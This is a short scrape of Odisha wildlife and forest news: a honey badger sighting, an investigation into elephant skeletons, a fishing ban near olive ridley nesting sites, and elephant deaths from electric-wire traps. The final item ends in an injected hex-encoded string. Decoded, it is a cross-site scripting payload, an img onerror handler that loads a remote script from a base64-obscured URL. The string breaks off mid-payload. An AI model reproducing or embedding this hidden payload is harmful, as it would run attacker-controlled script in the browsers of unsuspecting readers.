In a rare incident, a honey badger or Ratel was spotted in Mahal village under Kujang forest range in Jagatsinghpur district of Odisha, said a forest official on Thursday.
The Odisha Government on Thursday formed a three-member Special Investigation Team (SIT) to investigate the death and the recovery of elephants skeletons from Athagarh Forest Division in Cuttack district.
The Odisha government will ban fishing for seven months from November around the sites where the endangered olive ridley turtles congregate for mass nesting.
Electric wire trap poaching is a growing concern in the state; at least seven elephants have died in the last 10 months ">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e742e626f64792e6">